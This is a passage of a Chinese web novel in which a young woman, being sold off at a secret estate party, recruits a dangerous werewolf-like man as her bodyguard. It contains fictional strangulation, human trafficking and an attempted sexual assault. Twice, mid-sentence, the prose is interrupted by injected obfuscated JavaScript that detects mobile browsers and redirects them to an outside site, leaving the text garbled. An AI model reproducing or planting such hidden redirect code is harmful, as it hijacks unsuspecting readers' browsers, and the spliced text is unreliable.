他穿着不知道从哪弄来的衣服,看着很合身,忽略异样的眼睛和恶人的气质,他看起来和普通大学生没什么区别。 哦不对,要比普通大学生更帅,不怪她见色起意。 姜榆点头:“好,我这就点吃的。” 虽然不知道他为什么又起了杀心,但目前看来,他好像又不打算伤害自己了。 姜榆在床的角落里翻到自己的手机,屏幕亮起,看到日期的时候,她眼前一黑,恨不得再次晕过去。 “我晕了多久?” “一天多。” 姜榆又看了眼时间,下午三点。 完了,还有四小时,姜山就要去易家接她了。 临野见她愣着,开始催促,姜榆的肚子也在抗议,算下来,上次吃东西已经是两天前的中午了。 于是她冷静地点了距离最近的外卖。 不到半小时的时间,两人就吃上了久违的饭,但姜榆还没想好怎么办。 山月庄园是个普通的庄园,但今晚的宴会却不是普通的宴会。 宴会由孙家举办,每隔四年一次,届时会有许多男企业家参加,而一些年轻貌美的女孩也会被邀请。 整个宴会持续三天,三天后有的女孩会被看中她的人带走,有的会回到家里,但那家人总会获得一笔意外的财富,当然也有人什么事都没发生。 总之,明面上看着是一场名流之间的宴会,实际上都是些肮脏的交易。 姜山“培养”她这么多年,现在到了回收成本获取利润的时候,光是易家那点好处还不够,他要榨干她所有的“价值”。 本来姜榆有一天的时间准备,她能保证自己全身而退,但现在除去换衣服化妆赶到易家的时间,她只剩不到一小时,还能做些什么? 如果没有任何准备,就她一个人去,想要全身而退会很艰难。 所以她必须得再带上一个人,要是她身边有随时可用的人就好了。 “咳……咳……” 临野吃到辣椒,被刺激得咳嗽,姜榆转头看他。 谁说她身边没人,这不是有一个。 他又高又壮,武力值看起来就不低,恢复能力强悍,凶狠程度异于常人。 他的跟踪能力姜榆已经体会过了,要不是她对危险的感知比较敏锐,估计也不会发现他。 临野无疑是最适合和她一起去庄园的人。 接着问题来了。 这人脾气极坏,没有道德观念,法律意识薄弱,虽然她救了他一命,但他不仅不会感恩,还在她昏迷的时候对她抱有杀心,这样一个人她真的可以说服吗? 只是事到临头,她也没有别的选择了。 与其在庄园受折磨生不如死,不如试试说服临野,就算失败,说不定他能让她死得更痛快。 姜榆决定豁出去了。 5. 说服 姜榆准备吃完饭再说这件事,她饭量小,虽然喜欢这些垃圾食品,但还是没吃几口就饱了。 吃完她没离开,就坐在临野对面,等他吃完。 他的吃饭风格和姜榆完全是不同的样子,他好像不在乎面前的食物好吃还是不好吃,来者不拒,统统塞进嘴里,简单咀嚼几下就咽下去。 不过几分钟,桌子上大半的食物都进了他的肚子,但他还在吃,一副饿了三天三夜,怎么吃都吃不饱的样子。 终于最后一块肉被消灭干净,临野放下筷子,颇为自觉地开始收拾桌面,姜榆殷勤地拦住他:“我来。” 外卖包装盒很好收,她利索地把垃圾放到门口,转身一看,临野又跟大爷似的躺到了沙发上。 怎么看起来……有点虚? 姜榆抛开那些乱七八糟的猜测,走到沙发旁,问道:“可以请你帮个忙吗?” 临野没说话,她权当是默认,便接着往下说。 “我今晚要去一个危险的地方,之后还要在那待几天。我知道你很厉害,所以想请你和我一起去,全程你都不用露面,只需要在遇到特殊情况,比如有人来骚扰我,闯进我的房间时,保护我一下,别的什么都不用做。你放心,结束之后,我可以给你一笔不菲的报酬。” 简而言之,就是花大价钱请他去当几天保镖。 说完,姜榆忐忑地等他的回答,她自认为态度已经放得很低,条件也开得足够,这个活不算难,正常人都经不住这样的诱惑。 然而等了许久,回答她的只有一片沉默。 就算是拒绝也该有个答复吧。 姜榆被临野的态度搞得有点不开心,伸手去碰他的肩膀。 “不去。”临野明明闭着眼睛,却仿佛能视物一般避开了她的手,他翻了个身,背朝着她。 姜榆微微皱眉,这个人有点难搞。 那天晚上她看了他的衣服,都是些杂牌,材质摸起来普普通通,她肯定里面没有一件衣服单价能超过200块。他全身上下也没有什么其他值钱的东西,甚至连手机这种现代人必备的随身物品都没有。 可想而知,这是个穷光蛋。 那么,他现在拒绝她的条件,是真不在乎还是装不在乎?如果是装的,他的目的是什么,想再提高条件? “如果你答应,到时候你随便开价,我都能支付得起。”她再次加码。 临野动都没动,回答她:“不需要。” 好吧,他是真的不在乎。 姜榆脚步一转,准备离开时,脑子里又冒出一个新法子。 既然软的不行,就别怪她来硬的了。 她坐回刚才吃饭的位置,身体往后靠,翘起二郎腿,双手抱胸,做出气定神闲的姿态。 “临野先生,你也不想你的行踪被暴露出去吧?”她歪了歪头。 餐桌离客厅有点距离,姜榆遥遥地看着沙发上那个背影,她说话的声音不大,甚至有些轻飘飘,但她觉得临野听得清。 “虽然你藏得很好,但有些和普通人不一样的地方实在是太显眼了,想不看到都难。” “如果我把这些特征公布到网上,想必很快就能有人找过来吧?” 话里话外是藏不住的威胁。 在她的一再刺激下,终于,沙发上那个背影动了。 他的速度很快,眨了个眼的功夫,人就到了面前。 “你看到了什么?”那双金黄色瞳孔变得有些细长,冷冷地盯着她。 他的确很在意某些东西,哪怕姜榆并没有看到,这点信息也足够了。 “当然是你不想被人发现的东西,”她直视回去,“只要你愿意今天和我一起去庄园,我就答应你不告诉任何人这件事,也不会泄露一丝一毫你的行踪,甚至之后你遇到麻烦,都可以来这里。” “你就不怕我杀了你?”临野的声音本来就很低,现在变得更低,像来自地狱的呼唤。 “你可能还不知道我的身份,我只能告诉你,如果我死了,就算你跑到天涯海角,也会有人找到你。” 她作为姜山辛苦培养了那么多年的唯一一件商品,要是还没卖出好价钱就被人毁了,他一定会发疯把这人碎尸万段。 临野躬身欺压过来,高大的身形把姜榆完全遮住,他眯了眯眼:“你在威胁我?” 这是他的警告。 姜榆仰头,她的视线被全部挡住,目之所及除了临野再无其他,她直直地盯着他的眼睛。 这是她无声的回答。 她在赌这个结果。 一般到了这个地步,懂得权衡利弊的正常人都会有所顾忌,哪怕不接受她的条件,也不会对她怎么样。 可惜姜榆不知道,临野不是正常人,甚至不是人。 他从来不肯被任何人威胁,哪怕这样做会搭上自己的命。 这个兔子一样的胆小人类,既然敢威胁他。 “那就准备好付出代价吧。” 说完这句话的下一秒,临野的手覆上姜榆的脖子,逐渐收紧,那架势看起来是真的想要杀了她。 艹! 从来不说脏话的姜榆在这一刻也不由得飙出一句脏话。 她在心里给这个人下定义:暴力狂! 形势急转直下,刚才的气定神闲全部消失,姜榆双手扣住脖子上的手,下意识挣扎,腿也四处乱踹起来。 但两人的体型差注定了力气的差距,她努力了半天,压制她的人纹丝不动。 临野的瞳孔彻底变了,变成危险的竖瞳。 姜榆肯定,这绝对不是人应该有的眼睛,但被掐着脖子,她说不出一句话。 连为自己辩解逃脱的机会都没有。 氧气越来越少,肺被憋得生疼,大脑开始眩晕,眼前的人变成重影,心脏沉重的跳动声似乎就在耳边。 力气逐渐消散,姜榆放弃挣扎,她用尽全力,最后踹了临野一脚,可惜两人贴得太近,脚没踹到,只是膝盖碰到了他。 就在她以为自己要死了的时候,临野忽然松开了手。 一瞬间,大量空气注入,她捂住痛到极点的脖子,弯下腰,猛地咳嗽起来。 足足用了三分钟,姜榆才艰难地恢复呼吸,面前的人没有离开,一动不动地站在她身前,也不说话。 她没有急着抬头,佯装自己还没缓过来。 老实说,刚死里逃生,恐惧是有的,但比起恐惧,她现在更多的其实是愤怒。 她以为他会接受重利,结果他不接受;她以为他会被威胁,结果他 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她在心里再次给他下定义:色狼! 姜榆马上又想出一个办法。 她低下头,再抬头时眼睛里有了泪水。 她装出害怕无措的样子,小心地说:“对不起,刚才是我不对,我不该威胁你,我保证,你的行踪我不会泄露给任何人,你可以不……不伤害我吗?我害怕。” 大女子能屈能伸,总有一天她会和他算账的。 她再次示弱,哀哀地看着他,祈求他的回应。 临野感觉很古怪,身体第一次出现从来没有过的反应,他甚至感觉有些无所适从。 他没想好自己是怎么回事,也没想好怎么再处置这个人类,只好逃避般地转过头。 姜榆见临野不说话,又朝他走近一步。 他虽然没看他,但也没有退开,说明这一招对他来说是有效的。 姜榆往一侧斜了斜身体,追逐着他的眼睛,对视上后,她眼睛一眨,泪水滑落到脸颊。 “今晚要去的地方对我来说真的很危险,请你……帮帮我,好吗?” 她一直没忘记自己的目的,她不仅要他放过她,还要得寸进尺地要他当保镖。 姜榆低下头,不好意思地说:“如果你答应的话,事成之后,你提什么要求都可以。” 至于能不能实现,那就得到时候再说。 等了一会,面前的男人还是没说话,既不答应也不拒绝。 不管怎样总该有个反应吧,哪怕像之前那样拒绝或者生气。 难道他没听懂? 姜榆深吸一口气,踮起脚尖,她够不到他的脸,便在他的脖颈一侧轻轻印下一个吻。 暗示到这个地步,总该明白了。 她抬起头,准备观察临野的表情,然而脸都还没看清,面前的男人转身就走到门口,拉开门出去了,动作快得她完全没反应过来。 姜榆呆呆地看着面前的空气。 他……跑了? 这算什么? 他到底答没答应? 6. 庄园 姜榆换了衣服,收起洗好的毛毯,把家收拾了一遍,半小时过去,临野还是没有回来,她认命地独自前往姜家的化妆室。 接下来只能走一步看一步了。 七点前,姜榆回到易天川的私人别墅,把重新找回来的手机装进包里,然后在管家的陪同下出门。 今天易天川并不在家,她也省的再和他交际。 一辆昂贵但不起眼的车停在门口,后排车窗降下,露出穿着名贵西装的姜山,他不过四十出头,正值壮年,常年的富庶生活养成了高位者的姿态,他不苟言笑时也会有种精明稳重的成熟企业家感觉。 姜山上下扫视了姜榆两眼,又转回头目视前方:“怎么没穿定好的礼服?” 语气里已然带了不高兴。 那套礼服是白色短纱裙,裙身点缀着粉色的花瓣和羽毛,致力于将她装扮成清纯不谙世事的小公主样子。 姜榆现在却穿了一条抹胸缎面黑白长裙,手上戴了副纯黑色长手套,头发高高盘起,辅以王冠配饰,脖子上则戴着大到夸张的珠宝项链,配合着大红唇,活脱脱一个张扬高贵的女王形象,和姜山预想的样子大相庭径。 她低下头,顺从地说:“那件礼服在试穿的时候挂到了钩子,有些破损,只能临时换这件。” 其实是她刻意做的,一是不想穿公主裙去庄园,二是她需要遮挡身上还未消退的印记。 她的手腕脚腕上还有红痕,虽然变淡了些,但仔细看还是能发现,脖子上的红痕就比较夸张了,姜榆出门前用粉底遮了几遍才勉强遮住,但她还是不放心,就用项链再遮挡一下。 姜山微微侧头,斜着眼睨她,姜榆低眉顺眼、规规矩矩地站着,等了许久,冷得她要控制不住地发抖时,才听到“上车”的命令。 其实姜榆早就算好了时间,哪怕他再不满,这会也没有时间让她重新换一次衣服了。 她坐上车,车里的暖气充足,很好地抚慰了挨冻的身体,但她没有放松下来。 后排的两人都正襟危坐着,目视前方,中间仿佛隔了条银河。 姜榆盯靠背盯久了眼睛疼,便偏过头去看车窗外划过的风景。 “前天易家签署了合同,小鱼,你做的很好。”一片安静中,姜山冷不丁地开口。 也就是她答应求婚的第二天,看来易天川那个蠢货在那天被人捧得很开心,竟然这么迫不及待地就给了姜家一笔钱。 “这几天在庄园你也要保持这个水平。” 姜榆不吭声,藏在一侧的手慢慢攥紧。 哪怕已经知道了他的本性,听到这些话时还是会发自内心地恨。 姜山提高声音:“听见了吗?” 姜榆闭眼,狭小的车内一举一动都很明显,她连深呼吸都要慢慢地、轻轻地吸入再吐出。片刻,她松开拳头,转过身再次注视着前方,温顺地回答:“是,我记住了。” 许是见她乖巧,姜山终于舍得转过来看着她,开口时也放软了语气:“你做的那些小手段我不会计较,有心眼是好事,但是小鱼,我做这些都是为了姜家,你应该明白我的良苦用心。” 他许下承诺:“等家族重回巅峰,你就能回来好好地做享福的大小姐了。” 车子稳稳地停下,姜榆没有回答他,只是说:“庄园到了。” 不等司机来开门,她主动下车,姜山看着她的背影,几不可闻地叹了声气。 这座庄园是欧式风格,由三幢房子组成,中间的那幢此刻灯火通明,透过玻璃窗隐隐能看到里面人影攒动。 姜榆挽着姜山的胳膊,在侍者的引导下往里走,大门口边上站了两名黑衣人,见他们过来,伸手拦住。 侍者解释:“这场宴会是私密宴会,不可携带电子设备,还请两位客人配合我们做个检查。” 姜山点头,两名黑衣人立刻拿出仪器在他们身上扫来扫去,扫到姜榆的手提包时,仪器发出“滴滴滴”的声音。 黑衣人:“这位小姐,请让我检查一下您的包。” 姜榆有片刻犹豫,把包交了出去,黑衣人翻找一通,取出手机后把包还给她。 检查结束,两人穿过主楼前的喷泉,缓步踏入宴会厅。不同于外面的清冷安静,里面十分热闹,四处都是交谈声和香槟杯碰撞的声音。 里面基本都是男的,这不奇怪,令姜榆感到稀奇的是,她不仅看到了许多年轻的女孩,还看到了一些青涩瘦小的男孩。 其中一个男孩看起来不知道成年没有,被旁边的人带着交际时,身体十分抵触,面上也没有表情管理,刚谈了两句,他们对面的人就离开去找下一个目标了,而他则被拉到角落里去。 姜榆有些看不清他们在干嘛,只能看到男孩低着头,时不时身体一颤,她猜测是挨骂了。 “小鱼?”姜山的声音传来,拉着她回神。 面前不知何时站了一个男人,两鬓微白,看起来温和有礼,正笑眯眯地看着她。 姜榆扬起微笑:“您好。” “哈哈哈,今日一见,果然名不虚传,你女儿长大了,真是亭亭玉立,丽质天成啊。”男人盯着她笑,话却是对着姜山说的。 “哈哈不敢当,不敢当。” “对了,刚才我听说令女带了手机?” 他的话锋一转,笑容也变了味,姜山打圆场道:“小鱼第一次参加这种宴会,不懂规矩,怪我没有叮嘱好。您放心,不该做的她绝对不会做。” 男人:“姜总可得谨记说过的话,要是有什么视频音频之类的东西流传出去,我可保证不了你的安全。” 姜山:“孙总说的是。” 孙?原来他就是这场宴会的举办者,这些年他靠这种手段赚了不少,已经一跃成为龙头人物,难怪说话语气高高在上,完全不把姜山放在眼里。 眼看孙总要走,姜山又找了个新话题:“听说您前段时间遇到了袭击?没出什么事吧?” 孙总摆手:“没事,就是让那个人跑了,否则我定让他生不如死。” 姜山:“没事就好,要是有什么姜家能帮的上忙的,您尽管提,我一定尽全力帮您。” …… 姜榆无心看他们一来一回地互相打探,只在旁边微笑点头,做一个合格的工具人。 伴随着轻柔的管弦乐,推杯换盏间到了深夜,宴会上的人零零散散地离开,被侍者带到旁边三层高小楼里的房间休息,姜榆拖到凌晨,最后实在拖不动了,才不得不回到了自己住的地方。 她住在三楼,穿过铺着红地毯的木质长廊,尽头的那间。 房间也是欧式风格,墙纸是大片大片蔷薇,被微黄的灯光染成蜜色,正中心有一张大床,帷幔从床顶垂落,绑在四个床柱上,地上铺着红色花纹的波斯地毯。 姜榆率先打开衣柜,里面有一些很“清凉”的衣服,也有一些普通衣服,可供白天外出穿着,她果断选了条最保守的碎花长裙,把自己自己从上到下包裹起来。 床旁边有座梳妆台,东西一应俱全,她把妆卸掉,想了想,又捣鼓一阵,全部弄好时,她变成了一个皮肤蜡黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812955|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、脸颊上长着雀斑、法令纹深重、满面油光的土气女孩。 姜榆看了看镜子,效果很好,她准备在身上也做出几个大痣时,门被敲响。 外面站着一个斯斯文文的眼镜男,看到姜榆时明显一惊。 “你是姜榆?”他不可置信地看了眼旁边的房间号。 姜榆给他让出一条路:“是我,请进。” 这是姜山敲定的今晚的“买家”。 眼镜男迟疑地走进房间:“你和刚才宴会上的样子差得有点远。” 姜榆:“我刚刚卸妆了。” 她希望这个男人能因此失望并离开,可惜天不遂人意,眼镜男转过身,举起自己一直拿着的东西——一捆绳子,意味深长地看着她:“没关系,你的脸不重要。” 十分钟后,姜榆跪坐着,双手在身后被绑在床柱上。 刚才绑她的时候,她挣扎了,现在头发乱成一团,脸颊上有个手掌印,裙子被翻到大腿处,看起来像个疯子。 眼镜男喘着粗气,捡起掉在地上的眼镜,他拨开姜瑜的头发,摸了摸她被打的脸颊,一用力,脸上的粉底被蹭掉一块,他发现不对:“抹了粉?” 姜榆没回答这个问题,她眼眶发红,小声地说:“我今天……不方便。” “无所谓,我不介意。”眼镜男把指头上的粉底蹭到床幔上,漫不经心地说。 靠。 姜榆咬牙切齿地暗骂一声,面上还是颤颤巍巍的:“可以……先洗个澡吗?” 眼镜男不在乎她的抗拒,越抗拒他越来劲,但他不喜欢她瑟缩的模样。 看着她抖个不停的身体,他大发慈悲了一回:“行,你缓缓,我出来后可不想再看到一个鹌鹑,那会让人没兴致。” 浴室门被关上,姜榆艰难地坐起来,刚才她挣扎得厉害,所以眼镜男只绑了她的手,脚还是自由的,她踢开枕头,下面是一把刀。 那是她用胶带贴在大腿上带进来的,还好当时没有藏在包里,不然就全部暴露了。 她用脚把刀够过来,手滑到床柱最下方贴着床面去拿,但始终差一点点,她不停变换角度,最后终于抓住了刀。 刚磨了几下,绳子还没断开,浴室的水声就停了,眼镜男在哼歌,声音越来越近。 “缓的怎么样了?” 他只在下身裹了条浴巾,姜榆一眼就看到他肚子上的肥肉正随着步伐一颤一颤。 她不答话,加快了磨绳子的速度,脑海里不停预演着待会儿怎么捅他的样子。 不到万不得已,她也不想这样。 “怎么不回话?”眼镜男不爽地皱眉,朝她走近。 刀划破了她的手指,鲜血滴下来,她却浑然不觉。 要在他发现之前割断绳子,快了,还差一点。 眼镜男已经走到床边坐下,他伸出手来:“你肩膀怎么一直在动,你在干什么?” 指尖搭上姜榆的肩膀,她后颈的汗毛根根竖起,可是绳子还没断。 她咬紧牙根,正准备另找机会—— 窗户被人从外面打开了。 屋内的两人齐刷刷地转头,姜榆只觉得眼前一黑,接着听到“咚”的一声。 窗户开着,外面空空荡荡,只有一望无际的黑夜。 她缓缓转过头,眼镜男已经悄无声息地躺在地上,不知是死是活,在他后面出现了一个熟悉的人。 临野。 不对! 姜榆定睛去看,这个人的瞳孔是黑色的。 他是谁?! 7. 伤口 姜榆近距离看过临野的眼睛,他没有戴任何美瞳类的东西,瞳孔颜色是天生的,而眼前这个人有着和他一样的脸,一样的身高,却唯独没有那标志性的金黄色瞳孔。 她往后靠坐了些,警惕地问:“你是谁?” 男人往前走了两步,在室内明亮的灯光下,她清楚地看到他满眼写着“傻了吗?” “……临野?”姜榆不确定地问。 “嗯。” 声音也和临野一模一样,她怀疑地问:“你的眼睛怎么变成黑色了?” “与你无关。” 刚说上两句话,他转身又向窗户走去,好像来这就是单纯为了打晕眼镜男一样。 姜榆没空思考他怎么徒手上的三楼又要怎么下去,急忙喊道:“等一下!” 临野已经瞬间移动到窗口,手扶上窗框,听到她的话还是停下了脚步。 “你可以,”姜榆扭了下胳膊示意,“帮我解开再走吗?” 小刀被她扔到了床上,虽然自己费点劲也能再捡起来,但她需要留下这个人。 临野回头看她,刚才眼镜男打那一巴掌完全没有收着力,现在红印愈发明显,深色的粉底都遮不住,她头发乱糟糟的,缩在床头的角落里,正眼巴巴地盯着他。 不知为何,他想到了很久以前在树林里看到的一只兔子,它淋了雨,全身毛发湿漉漉的,正颤抖地蹲在地上等待被吃掉的命运。那时候他在做任务的途中,本不该管这种再平常不过的事,但他还是上前去赶走猎食者,让那只兔子逃走了。 姜榆现在就和那只兔子一样。 他走过去,捡起床上的刀,帮她割绳子。 “谢谢。”姜榆往他身边挪了点,方便他动作。 刚才没注意,现在她才发现临野穿了身黑西装,他人高马大,西装紧绷在他身上,肩线被撑出凌厉折角,腰线收得极窄,衬衫领口最上方的扣子被解开,领带松垮垮地系着。古板严肃的黑西装没有被他穿出正经人的气质,反而带着痞气,倒是让她联想到了一个词——西装暴徒。 绳子彻底断开,她想站起身,腿一软扑到了临野身上。她一手则撑着他的腹部,一手撑着他的胸膛,隔着薄薄的衬衫,她在腹部那里摸到了一圈厚厚的东西,和胸膛处的触感明显不同,大概是纱布。 到了这时,她才敢完全确定眼前这个人就是临野。 他来这里做什么?为了救她? 下一刻,她就被扯开,临野的力气太大,她直接倒在了床上。 “你干什么?”他站在床边,皱着眉居高临下地看着她。 语气不善,让姜榆有点怀疑自己之前的发现,他到底是抗拒肢体接触还是……? “我腿麻了,”她撑坐起来,给自己揉腿:“谢谢你来救我,我——” 临野打断她:“我不是来救你的。” 姜榆不管这些,她微微向前倾身,抱住他,释放出友善的信号:“不管你是不是来救我的,你都救了我。” “我救了你一回,你也救了我一回,就算互相扯平,之前我们是发生了一些不愉快,但那都过去了,现在……我可以和你交个朋友吗?” 环住他腰身的瞬间,手下的肌肉紧绷起来,像一张拉满的弓,连头顶的呼吸都有瞬间的停滞。 摸手摸身体会把她扯开,亲一下会跑,那她取中间的程度——拥抱,他会作何反应? 出乎她意料的是,临野没有反应,他一动不动站在那任她抱着,虽然身体僵硬,但说话的语气依旧冷淡:“我从来不和任何人做朋友。” “为什么?”姜榆扬起头,“我不可以做你的朋友吗?” “不可以。” 不知道哪句话触动了临野,他又不肯被抱了,强硬地掰开她的手。 一滴血落下,被刀划破的伤口二次裂开,临野看向她的手指:“你受伤了。” “没事。”姜榆抽了张纸擦拭掉血迹。 拥抱实验完毕,对这人来说没什么效果,她也不再纠结什么朋友不朋友的,都是借口。 比起伤口,她现在更在意的是这次能不能成功把临野留下,宴会危险重重,第一天就碰上眼镜男这种变态,不知道后面几天又会是什么样的人。 送上门的机会,她一定要把握住。 姜榆换了个话题:“那你这次来这里是要做什么?有什么我可以帮的上忙的吗?” 不是来救她的,那就是另有目的,或许这会是新的突破口,只是宴会上那么多人,不知道他是冲着谁来的。 她想起地上不知生死的眼镜男,蹲下探了探他的呼吸,好在还活着,不然明天真不好收场。 临野看着她的动作,问道:“你很关心他?” 不等回答,他又迅速接着说:“在这种废物手下都能把自己弄得乱七八糟,你能帮上什么忙?” 说话这么难听,难怪没朋友。 姜榆忍住怒火,这条路行不通,她再次问起几个小时前还没结果的问题:“我下午说的话你考虑好了吗?” 她下午说的是“事成之后,他提什么要求都可以”,那是她主动下的饵。 临野站在她背后,灯把他的影子投下来,从姜榆的视角看,完全将她完全笼罩住。 他不说话,室内安静下来。 她猜又要被拒绝了。 夜风从大开的窗户吹进来,姜榆被冷到,她起身去关窗,短短几步路她想出了数个威胁临野留下的方法,但依照前车之鉴,威胁对这人来说行不通。 直到走到窗边,她还没想出来最好的办法,难道之后几天她还是得一个人面对? “可以。”身后突然传来临野的声音。 姜榆不可置信地转过身:“你答应了?为什么?” 他上钩了?可他看上去明明不为所动的样子。 “顺手,”临野也走到窗户边:“没什么事我先走了。” “等下等下,”姜榆急忙抱住他的胳膊,“走之前你得帮我把他搬回去。” 她努了努下巴,示意地上还躺着个昏迷的男人。 临野瞥了眼眼镜男:“他这样对你,你还要关心他?” 果然是个兔子,不分好歹,盲目善良。 他接着说:“帮你可以,记住你说的话,我提什么要求都可以。” 姜榆点头:“嗯。” 搬之前,她狠狠地踹了眼镜男一脚,踹的命根子,临野轻飘飘地看了她一眼。 姜榆以为自己踹太狠,崩了柔弱的人设,正准备想方法补救时,就见他抬脚,再次踩下去,眼镜男被痛醒,还没来得及发出惨叫,就又被打晕。 她看得目瞪口呆,这人未来几天肯定都不会有任何世俗的想法了,不,说不定永远都不会有了。 临野扛着眼镜男从窗户翻出去,他在这里来去自如,庄园外围着的保镖跟摆设一样。而且这场宴会保密工作做得非常好,姜榆都是回房才知道自己住哪,他又是怎么知道眼镜男住在哪的? 他是什么人? 姜榆再次思考起这个问题,她想起下午看到的危险竖瞳,他真的是人吗? 她卸下妆,从衣柜里挑出一件勉强能当睡衣的裙子换好,一转身就看到临野悄无声息地站在她身后,不知道已经回来多久了。 色狼! 姜榆默默骂了一句。 “今天谢谢你,时候不早了,早点休息吧。”目的已经达到,她开始赶客。 临野点头,坐到她的床上。 姜榆:? “你要在这睡?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜榆:“这里没有医药箱,没法处理。” “哦。” 她以为这个话题到此结束了,准备继续睡时,旁边响起窸窣声,然后她的手腕被熟悉的、炽热的手抓住。 姜榆一惊:“你干什么?” 夜色浓稠,月光隔着窗帘、床幔透进来时只剩下淡淡的微光,她转过头去,勉强辨认出临野的轮廓,只见他把抓着她的手从被子里取出来,举到嘴边。 他张开了嘴。 出血的手指被含住,温热的舌尖似有若无地扫过她的指腹,柔软而潮湿的触感裹住伤口,他吮掉血珠,立刻有新的血珠冒出来,他又将其舔舐掉。 自制冰袋落到枕头上,姜榆呼吸一滞,背部猛地僵住,似乎有电流顺着指尖窜上来,在大脑炸成一片烟花,头皮控制不住地发麻。 她颤颤巍巍地要把手抽回来,却被临野更紧地攥住:“别动!” 他的舌没有离开,反复地卷过伤口,像某种野兽在舔舐猎物,他每舔一次,就有微小的疼痛混合着异样的酥麻窜上大脑,但姜榆不敢动,她对危险的感知此刻又出现了。 临野现在很危险。 视觉被遮蔽,听觉就会变得更加敏锐,她清晰地听到临野吞咽的声音,还有那细微的、湿润的、暧昧的声响。 冰袋彻底掉到了地上,受伤的脸颊隐隐发烫,姜榆转回头,盯着根本看不清楚的床幔,用力咬住自己另一只手,防止自己发出声音,实则内心疯狂咆哮。 谁家好人这么处理伤口啊! 8. 合作 人类会通过自我调节适应外部环境,姜榆就自我调节了对外的感知力,她把临野当成舔人手的小狗,旖旎的氛围一下子消失殆尽。 虽然他现在莫名散发着危险的气息,但在这种情况下待久了,大脑也会逐渐麻木。 姜榆麻着麻着……睡着了。 临野敏锐地察觉到身边人的呼吸变得沉重而绵长。 和睡得香甜的姜榆不一样,他现在很狂躁,这个人类的血里不知道有什么,盈满香甜的气息,偏偏她自己对此一无所知,还放任不管。 狼人的体温本就比正常人高一些,闻到姜榆的血味后他更是浑身发烫,内心躁动,脑子里疯狂叫嚣着“咬她”。 这自发的生理本能让他感到不解,为什么要咬她?咬哪里? 他要是一口咬下去,这个脆弱的人类必定又会流泪。 临野克制地替她处理伤口,以为没有血液,闻不到那股味道,他就能恢复正常,结果血里的味道消失,更加甜腻的味道又从姜榆身上散发出来,那气味越发浓郁,萦绕在他身边,诱惑着他。 他正决定顺从内心时,这个人类睡着了。 第一次有人敢在他身边睡着。 室内温度不低,但她的手好像怎么都暖不热,虚虚地贴在脸上比冰袋好用多了。临野迷蒙地侧过脸,用犬齿咬了口她的手指,听到一声轻呼,猛地惊醒。 他在干什么? 姜榆睡得很沉,没有完全醒来,只是循着本能胡乱揉了揉他的头,嘴里嘟囔着“小白,别闹。” 临野撑起上半身,悬在她身上,沉沉地盯着她的睡颜。 黑夜影响不了他的视力,女孩睡前还哭过,眼尾泛着红,脸上那些乌七八糟的东西被清理干净,露出瓷白的面庞,上面有个鲜红的手掌印。 这个人类胆小柔弱,一个废物男性都能把她逼到绝境,但她又不怕他,她敢触碰他、拥抱他、甚至亲吻他。 在临野的预想中,他们下次见面的场景应该是姜榆暴露他的身份和行踪,他来杀掉她,而不是像现在一样躺在一张床上安稳地睡觉。 临野来这有更重要的事,现在他应该蛰伏在其他房间找机会,可路过这里瞟到她瑟瑟发抖地缩在床头时,被她抱住胳膊时,他还是停下了脚步。 就像当年救了那只兔子一样,他是鬼迷心窍了。 这时姜榆迷迷瞪瞪地靠过来,她怕冷,睡梦中也下意识寻找热源,临野浑身一僵,认真地盯了会,发现她依旧没醒。 算了,再留她一段时间,等到她敢表现出厌恶、恐惧时,他会再次扼住她的咽喉,亲手处理了她。 临野默许了女孩的触碰,他缓缓躺下,闭上眼,进入睡眠。 没一会儿,被子侧边冒出条毛茸茸的白色尾巴,垂在床边,悠闲地晃动起来。 …… “姜榆?姜榆?”门被敲得哐哐作响。 姜榆靠坐在床头,手被绑在身后的床柱上,她清了清嗓子,大喊:“救命!救命!” 半个小时前,她一睁眼发现自己在临野怀里,天知道她有多惊恐。 好在临野看起来并不在意,还在她的请求下帮她恢复了昨晚被绑的样子。 姜榆正准备夸夸他增进下感情,就见他转身从窗户翻出去不见了。 ……这可是三楼,不对—— “我怎么联系你啊?!”姜榆小声喊道。 可惜临野已经走远,并没有听到她这句话。 门被撞开,姜山率先进来,看到姜榆的样子时,他有瞬间的怔愣。 姜榆的裙摆处明显被撕烂,她头发凌乱,脸颊肿起,脚腕、脖子上有明显的红痕,一眼就能看出昨晚发生了什么。 姜山立刻回身把门关上,顿了会才到她身边替她解绑。 姜榆低下头不说话,眼泪大颗大颗地掉在腿上。 “小鱼,昨天……” 手被松开,姜榆扑到他身上,声泪俱下:“爸爸……” 姜山回抱住她,他已经十几年没听到姜榆喊他爸爸,内心难免触动。 “没事了。”他轻声安抚着她,像个真正的父亲。 良久,哭声慢慢停止,姜山心里的沸腾也慢慢平息,他摸摸姜榆的头:“关于昨晚的事,孙总有些话想问你,如实回答就行。放心,我会在旁边帮你的。” 眼镜男今早是哀嚎着醒来的,动静惊醒其他人,他很快被送去医院,走之前他告诉孙咏德昨晚是在姜榆的房间出事的。 姜榆谎称自己什么都没看清,同样晕倒了一整晚,直到第二天被救才醒,孙咏德还想再追问,姜山难得硬气起来:“她身上这么多伤还不能证明吗?” 这事最后被归结为眼镜男的仇家来报复他,还连累了姜家。 这件事被孙咏德尽力压制,可消息还是不胫而走,不到半天,几乎庄园里的所有人都知道了这件事,眼镜男捂着两腿之间被送医的事听起来过于恐怖,不少男企业家离开。 孙咏德派人把所有房间搜了个遍,但没有发现任何可疑人员。 为了安抚留下的人,他加强了庄园四周的安保,并信誓旦旦地保证,接下来几天绝对不会再出现意外。那些人放下心来,继续在为他们打造的乐园里尽情享受。 